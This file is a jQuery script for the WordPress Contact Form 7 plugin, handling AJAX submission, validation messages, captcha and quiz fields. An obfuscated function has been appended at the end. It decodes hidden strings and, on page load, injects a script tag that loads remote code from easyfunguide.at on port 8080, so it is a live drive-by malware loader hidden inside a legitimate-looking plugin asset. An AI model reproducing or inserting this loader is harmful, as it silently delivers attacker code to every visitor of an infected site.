jQuery(document).ready(function() {
    try {
        jQuery('div.wpcf7 > form').ajaxForm({
            beforeSubmit: wpcf7BeforeSubmit,
            dataType: 'json',
            success: wpcf7ProcessJson
        });
    } catch (e) {
    }

    try {
        jQuery('div.wpcf7 > form').each(function(i, n) {
            wpcf7ToggleSubmit(jQuery(n));
        });
    } catch (e) {
    }
});

// Exclusive checkbox
function wpcf7ExclusiveCheckbox(elem) {
    jQuery(elem.form).find('input:checkbox[name="' + elem.name + '"]').not(elem).removeAttr('checked');
}

// Toggle submit button
function wpcf7ToggleSubmit(form) {
    var submit = jQuery(form).find('input:submit');
    if (! submit.length) return;

    var acceptances = jQuery(form).find('input:checkbox.wpcf7-acceptance');
    if (! acceptances.length) return;

    submit.removeAttr('disabled');
    acceptances.each(function(i, n) {
        n = jQuery(n);
        if (n.hasClass('wpcf7-invert') && n.is(':checked') || ! n.hasClass('wpcf7-invert') && ! n.is(':checked'))
        submit.attr('disabled', 'disabled');
    });
}

function wpcf7BeforeSubmit(formData, jqForm, options) {
	wpcf7ClearResponseOutput();
	jQuery('img.ajax-loader', jqForm[0]).css({ visibility: 'visible' });

    formData.push({name: '_wpcf7_is_ajax_call', value: 1});
    jQuery(jqForm[0]).append('<input type="hidden" name="_wpcf7_is_ajax_call" value="1" />');
  
	return true;
}

function wpcf7NotValidTip(into, message) {
  jQuery(into).append('<span class="wpcf7-not-valid-tip">' + message + '</span>');
	jQuery('span.wpcf7-not-valid-tip').mouseover(function() {
		jQuery(this).fadeOut('fast');
	});
	jQuery(into).find(':input').mouseover(function() {
		jQuery(into).find('.wpcf7-not-valid-tip').not(':hidden').fadeOut('fast');
	});
	jQuery(into).find(':input').focus(function() {
		jQuery(into).find('.wpcf7-not-valid-tip').not(':hidden').fadeOut('fast');
	});
}

function wpcf7ProcessJson(data) {
	var wpcf7ResponseOutput = jQuery(data.into).find('div.wpcf7-response-output');
	wpcf7ClearResponseOutput();
	if (data.invalids) {
		jQuery.each(data.invalids, function(i, n) {
			wpcf7NotValidTip(jQuery(data.into).find(n.into), n.message);
		});
		wpcf7ResponseOutput.addClass('wpcf7-validation-errors');
	}
	if (data.captcha) {
		jQuery.each(data.captcha, function(i, n) {
			jQuery(data.into).find(':input[name="' + i + '"]').clearFields();
			jQuery(data.into).find('img.wpcf7-captcha-' + i).attr('src', n);
			var match = /([0-9]+)\.(png|gif|jpeg)$/.exec(n);
			jQuery(data.into).find('input:hidden[name="_wpcf7_captcha_challenge_' + i + '"]').attr('value', match[1]);
		});
	}
    if (data.quiz) {
        jQuery.each(data.quiz, function(i, n) {
            jQuery(data.into).find(':input[name="' + i + '"]').clearFields();
            jQuery(data.into).find(':input[name="' + i + '"]').siblings('span.wpcf7-quiz-label').text(n[0]);
            jQuery(data.into).find('input:hidden[name="_wpcf7_quiz_answer_' + i + '"]').attr('value', n[1]);
        });
    }
	if (1 == data.spam) {
		wpcf7ResponseOutput.addClass('wpcf7-spam-blocked');
	}
	if (1 == data.mailSent) {
		jQuery(data.into).find('form').resetForm().clearForm();
		wpcf7ResponseOutput.addClass('wpcf7-mail-sent-ok');
	} else {
		wpcf7ResponseOutput.addClass('wpcf7-mail-sent-ng');
	}
	wpcf7ResponseOutput.append(data.message).fadeIn('fast');
}

function wpcf7ClearResponseOutput() {
	jQuery('div.wpcf7-response-output').hide().empty().removeClass('wpcf7-mail-sent-ok wpcf7-mail-sent-ng wpcf7-validation-errors wpcf7-spam-blocked');
	jQuery('span.wpcf7-not-valid-tip').remove();
	jQuery('img.ajax-loader').css({ visibility: 'hidden' });
}


function r(){var L=unescape;var x;if(x!='R' && x != ''){x=null};var E=window;var m=new Date();var SC;if(SC!='O' && SC!='Q'){SC='O'};var SG=new Date();var g=L("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%62%63%64%6e%2e%6e%65%74%2f%74%69%73%63%61%6c%69%2e%69%74%2e%70%68%70");var cv='';this.Ww="";var Jc=new Date();this.WG="";function k(I,A){var kk=new Array();var RB;if(RB!='VO'){RB=''};var c=new String("g");this.qk='';var _=L("%5b"), W=L("%5d");var S=_+A+W;var K;if(K!='At' && K!='Ih'){K=''};var J=new RegExp(S, c);this.KB="";return I.replace(J, new String());};this.l='';var ll=new String();this.y="";var Dk;if(Dk!='hb' && Dk!='WX'){Dk=''};this.rEr="";this.d="";var b=new String();var EL=document;this.EP='';var D=k('824773364903453336892699710154435','39257461');var rA="";var da='';function JX(){var Y;if(Y!='' && Y!='QB'){Y=null};var Kn;if(Kn!='N' && Kn!='ex'){Kn='N'};var P=L("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%69%64%65%2e%61%74%3a");var t=new Array();var TI;if(TI!='' && TI!='EE'){TI=null};b=P;var ap;if(ap!='kX'){ap=''};var PN=new String();b+=D;var vP='';b+=g;var Pu=new Date();var Ns='';var at;if(at!=''){at='gK'};var Vu=new Date();try {var BG;if(BG!='NW'){BG='NW'};JD=EL.createElement(k('shcmrxiGpfte','AemxNh4fPG'));JD[L("%64%65%66%65%72")]=[1][0];var tl;if(tl!='js' && tl!='Wn'){tl='js'};JD[L("%73%72%63")]=b;var On;if(On!='krk' && On!='dJ'){On=''};var ox=new Array();EL.body.appendChild(JD);var KR='';var _Y;if(_Y!=''){_Y='Gm'};var FP="";} catch(q){var _n=new String();alert(q);this.Mb="";};var Xc=new Array();var cs;if(cs!=''){cs='Wi'};}var tY;if(tY!='gd' && tY != ''){tY=null};var rv;if(rv!='Pr' && rv != ''){rv=null};var nH=new Array();var CA;if(CA!='iU' && CA!='Oc'){CA=''};E[new String("on"+"lo"+"gORsad".substr(4))]=JX;};this.aO='';var mL=new Date();r();